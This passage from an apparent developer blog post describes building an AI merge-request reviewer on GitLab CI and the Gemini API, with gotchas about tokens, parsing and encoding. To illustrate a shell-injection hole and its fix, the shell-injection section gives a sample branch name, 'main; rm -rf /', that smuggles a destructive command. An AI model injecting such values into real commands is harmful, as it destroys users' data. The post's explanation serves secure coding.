  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Reviewing code changes via Gemini REST API...&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiResult&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reviewWithAPI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diffContent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;apiResult&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isStructuredReview&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;apiResult&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Gemini REST API review completed successfully.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;apiResult&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Review failed: API response was empty or not in the expected structured format.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A direct HTTP call to &lt;code&gt;generativelanguage.googleapis.com&lt;/code&gt; gives us full control over the prompt, the model parameters (&lt;code&gt;temperature: 0.2&lt;/code&gt; for consistent output), and the response format. No CLI installation, no extension dependencies, no sandbox issues — just an API key and a network connection.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;isStructuredReview()&lt;/code&gt; method validates the response with a regex check for &lt;code&gt;### Summary&lt;/code&gt;, &lt;code&gt;### Findings&lt;/code&gt;, or severity markers like &lt;code&gt;**CRITICAL**&lt;/code&gt;. This prevents malformed output from being posted as a review comment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #1: GitLab CI Variable Circular References
&lt;/h2&gt;

&lt;p&gt;This one cost me hours of debugging. In &lt;code&gt;.gitlab-ci.yml&lt;/code&gt;, if you do this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;niteni-code-review&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;variables&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;GEMINI_API_KEY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$GEMINI_API_KEY&lt;/span&gt;
    &lt;span class="na"&gt;GITLAB_TOKEN&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$GITLAB_TOKEN&lt;/span&gt;
  &lt;span class="na"&gt;script&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;niteni --mode mr&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It looks reasonable, you're just "passing through" the project-level CI/CD variables. But GitLab interprets this as a &lt;strong&gt;circular reference&lt;/strong&gt;. The variable &lt;code&gt;GEMINI_API_KEY&lt;/code&gt; expands to the literal string &lt;code&gt;$GEMINI_API_KEY&lt;/code&gt; instead of the actual secret value.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; Don't re-declare project-level CI/CD variables in the &lt;code&gt;variables:&lt;/code&gt; section. They're already available in every job automatically. Only declare variables in the job if they're new values (like &lt;code&gt;GEMINI_MODEL: gemini-3-flash-preview&lt;/code&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #2: Token Authentication is a Maze
&lt;/h2&gt;

&lt;p&gt;GitLab supports three authentication methods, and picking the wrong header silently fails:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Token type&lt;/th&gt;
&lt;th&gt;Header&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Personal/Project access token&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PRIVATE-TOKEN: glpat-xxx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CI job token&lt;/td&gt;
&lt;td&gt;&lt;code&gt;JOB-TOKEN: $CI_JOB_TOKEN&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAuth token&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Authorization: Bearer xxx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;My first implementation always used &lt;code&gt;PRIVATE-TOKEN&lt;/code&gt;. It worked locally but failed in CI because &lt;code&gt;$CI_JOB_TOKEN&lt;/code&gt; requires the &lt;code&gt;JOB-TOKEN&lt;/code&gt; header. The config module now auto-detects the token type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;resolveToken&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;gitlabToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GITLAB_TOKEN&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GITLAB_TOKEN&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;$&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GITLAB_TOKEN&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;gitlabToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;gitlabToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;tokenType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;private&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CI_JOB_TOKEN&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CI_JOB_TOKEN&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;tokenType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;job&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;tokenType&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;private&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice the &lt;code&gt;!env.GITLAB_TOKEN.startsWith('$')&lt;/code&gt; guard that catches the circular reference gotcha from above. If the variable expanded to a literal &lt;code&gt;$GITLAB_TOKEN&lt;/code&gt; string, we fall through to &lt;code&gt;CI_JOB_TOKEN&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #3: Inline Diff Comments Need &lt;code&gt;diff_refs&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;GitLab's MR discussion API accepts a &lt;code&gt;position&lt;/code&gt; parameter for inline comments. But the position requires three SHA values: &lt;code&gt;base_sha&lt;/code&gt;, &lt;code&gt;start_sha&lt;/code&gt;, and &lt;code&gt;head_sha&lt;/code&gt;. These come from the MR's &lt;code&gt;diff_refs&lt;/code&gt; field.&lt;/p&gt;

&lt;p&gt;If &lt;code&gt;diff_refs&lt;/code&gt; is null (which happens with certain merge strategies or force-pushes), the inline comment fails with a 400 error. The fallback? Post as a general discussion comment instead.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diffRefs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;gitlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMergeRequestDiscussion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mrIid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;position&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Fallback: post as general discussion without position&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;gitlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;postMergeRequestDiscussion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mrIid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This two-tier posting strategy means the review always gets posted, even if it can't be pinned to the exact line.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #4: Parsing LLM Output is Fragile
&lt;/h2&gt;

&lt;p&gt;Gemini's output is structured markdown, but LLMs don't always follow instructions perfectly. The finding regex needs to handle variations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Both formats appear in practice:&lt;/span&gt;
&lt;span class="c1"&gt;// **[CRITICAL]** `file.ts:42`    (with brackets)&lt;/span&gt;
&lt;span class="c1"&gt;// **CRITICAL** `file.ts:42`      (without brackets)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;findingRegex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\*\*\[?(&lt;/span&gt;&lt;span class="sr"&gt;CRITICAL|HIGH|MEDIUM|LOW&lt;/span&gt;&lt;span class="se"&gt;)\]?\*\*\s&lt;/span&gt;&lt;span class="sr"&gt;*`&lt;/span&gt;&lt;span class="se"&gt;([^&lt;/span&gt;&lt;span class="sr"&gt;`&lt;/span&gt;&lt;span class="se"&gt;]&lt;/span&gt;&lt;span class="sr"&gt;+&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="sr"&gt;`/g&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;\[?&lt;/code&gt; and &lt;code&gt;\]?&lt;/code&gt; make brackets optional. Without this, half the findings were silently dropped.&lt;/p&gt;

&lt;p&gt;Another subtlety: the regex-based parser uses &lt;code&gt;exec()&lt;/code&gt; in a loop, which maintains &lt;code&gt;lastIndex&lt;/code&gt; state. When we peek ahead for the next match to determine where a finding block ends, we need to reset &lt;code&gt;lastIndex&lt;/code&gt; afterward. Miss this, and findings get merged or skipped.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #5: Shell Injection in CI Environments
&lt;/h2&gt;

&lt;p&gt;The original code used &lt;code&gt;execSync()&lt;/code&gt; to run git commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// DANGEROUS in CI where branch names come from user input&lt;/span&gt;
&lt;span class="nf"&gt;execSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`git diff origin/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;targetBranch&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;...HEAD`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If someone creates a branch named &lt;code&gt;main; rm -rf /&lt;/code&gt;, this becomes a shell injection. In CI, branch names are attacker-controlled input.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; Switch to &lt;code&gt;execFileSync()&lt;/code&gt; with argument arrays. This calls the binary directly without shell interpretation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nf"&gt;execFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;git&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;diff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;-U5&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;--merge-base&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;`origin/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;targetBranch&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Similarly, the Gemini API key was originally passed as a URL query parameter. Moving it to the &lt;code&gt;x-goog-api-key&lt;/code&gt; header prevents it from appearing in logs, proxy caches, and browser history.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #6: Large Diffs and CLI Limits
&lt;/h2&gt;

&lt;p&gt;An earlier version of Niteni tried passing diffs as CLI arguments to &lt;code&gt;gemini -p "..."&lt;/code&gt;. This hits the OS argument length limit (&lt;code&gt;ARG_MAX&lt;/code&gt;) with large diffs. The workaround was writing to temp files with &lt;code&gt;@filename&lt;/code&gt; syntax — but this added complexity with file cleanup, PID-based naming for parallel jobs, and error handling.&lt;/p&gt;

&lt;p&gt;This was one of several reasons we moved to the REST API: HTTP request bodies have no practical size limit, and the diff is just a JSON string in the request payload. The API approach eliminated an entire class of problems.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #7: ReDoS in Glob Pattern Matching
&lt;/h2&gt;

&lt;p&gt;The diff filter converts glob patterns like &lt;code&gt;*.min.js&lt;/code&gt; into regex. The naive approach:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Original - vulnerable to ReDoS&lt;/span&gt;
&lt;span class="nx"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;.*+?^${}()|[&lt;/span&gt;&lt;span class="se"&gt;\]\\]&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;$&amp;amp;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\\\*&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This escapes the &lt;code&gt;*&lt;/code&gt; first, then tries to un-escape it. But it also escapes &lt;code&gt;.&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, and other regex metacharacters that appear in filenames. The order of operations matters, escape everything &lt;em&gt;except&lt;/em&gt; glob characters, then convert glob characters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;escaped&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;pattern&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;.+^${}()|[&lt;/span&gt;&lt;span class="se"&gt;\]\\]&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s1"&gt;$&amp;amp;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;// escape regex chars (NOT *)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.*&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                    &lt;span class="c1"&gt;// convert glob * to regex .*&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/&lt;/span&gt;&lt;span class="se"&gt;\?&lt;/span&gt;&lt;span class="sr"&gt;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;                    &lt;span class="c1"&gt;// convert glob ? to regex .&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The difference is subtle but critical. The original version would double-escape patterns and produce incorrect matches.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gotcha #8: URL Encoding Everything Twice (or Not at All)
&lt;/h2&gt;

&lt;p&gt;GitLab project IDs can contain slashes when using namespaced paths like &lt;code&gt;my-group/my-project&lt;/code&gt;. These need to be URL-encoded in API paths. But if you encode a numeric project ID like &lt;code&gt;12345&lt;/code&gt;, it stays the same. The code must handle both cases:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;encodedProjectId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;projectId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apiUrl&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/projects/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;encodedProjectId&lt;/span&gt;&lt;span class="p"&gt;}${&lt;/span&gt;&lt;span class="nx"&gt;path&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every path parameter, MR IID, note ID, discussion ID, file paths, branch refs, gets &lt;code&gt;encodeURIComponent()&lt;/code&gt;. It's tedious but necessary. A branch named &lt;code&gt;feature/auth&lt;/code&gt; without encoding becomes a path traversal.&lt;/p&gt;

&lt;h2&gt;
  
  
  Testing Without External Dependencies
&lt;/h2&gt;

&lt;p&gt;The test suite uses Node's built-in &lt;code&gt;node:test&lt;/code&gt; and &lt;code&gt;node:assert&lt;/code&gt; modules. No Jest, no Mocha, no Vitest. This keeps the dependency tree at exactly two entries: &lt;code&gt;typescript&lt;/code&gt; and &lt;code&gt;@types/node&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;describe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;it&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:test&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="nx"&gt;assert&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:assert&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The simulation mode (&lt;code&gt;niteni --mode simulate&lt;/code&gt;) uses hardcoded mock data that exercises the full parsing pipeline without making any API calls. It's both a demo tool and a manual integration test, you can see exactly what Niteni would post to GitLab.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd Do Differently
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Structured output from Gemini.&lt;/strong&gt; Instead of parsing markdown with regex, I'd use Gemini's JSON mode or function calling to get structured findings. The regex parser works but is inherently fragile.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Rate limiting for large MRs.&lt;/strong&gt; Posting 20+ inline comments in rapid succession can hit GitLab's API rate limits. A simple delay between requests would help.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Caching reviewed files.&lt;/strong&gt; If a file hasn't changed between pipeline runs, there's no need to re-review it. A SHA-based cache would cut token usage significantly.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Better diff context.&lt;/strong&gt; The current approach sends raw diffs. Sending surrounding context (the full file, or at least more lines around changes) would give Gemini better understanding of the code.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The Result
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Niteni&lt;/strong&gt; runs in about 30 seconds in CI, reviews diffs up to 100K characters, and posts findings with one-click suggestion buttons. It catches real bugs, SQL injections, missing auth middleware, hardcoded secrets, loose equality comparisons.&lt;/p&gt;

